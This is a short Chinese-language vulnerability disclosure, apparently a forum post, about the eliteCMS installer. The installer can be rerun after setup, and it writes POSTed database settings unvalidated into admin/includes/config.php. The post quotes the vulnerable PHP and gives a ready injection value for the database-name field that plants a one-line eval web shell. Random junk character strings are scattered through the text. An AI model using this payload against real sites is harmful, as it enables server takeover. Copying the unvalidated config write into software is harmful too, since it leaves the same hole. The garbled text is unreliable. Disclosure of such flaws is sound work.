eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

5 E$ ]3 D2 [  H. X- d' {* w5 D; P另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

5 d) N$ ~+ P1 t+ h. C# m...
# A# d4 F- Q9 Z" o$ M% |elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
4 O' {& B# P3 w  I    $write .= "*\n";
, q$ Y1 [; p. Z) ^) M2 H7 U    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
# ^8 w  e6 ?' C...略...
    $write .= "*\n";
) }+ D" f% t: N& w9 ~. A    $write .= "*/\n";
  }2 G$ x3 L# W9 u8 |- |& p2 P    $write .= "\n";
; d$ o, E7 F- C2 C    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
5 E! B4 m6 v9 v5 S$ ~; _/ F    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
5 V9 }1 f+ x7 `* \3 D    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
/ `) E& ]* g8 u    $write .= "if (!\$db_select) {\n";
8 V& |; M: j# ^' V! u/ H    $write .= "        die(\"Database select failed\" .mysql_error());\n";
1 N2 E' Q+ o- ^# V3 {. P( g    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

% n. Y1 _8 u4 f! G    $writer = fopen($file, 'w');
...

在看代码：
$ ?% o" B& A+ t4 N! e, f
! I, r, i1 k, q$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
( n$ d" A! D+ C% f$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
* O0 P  ]1 q: @1 _
"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
& _# |% _4 X. x; [: U/ T5 F9 p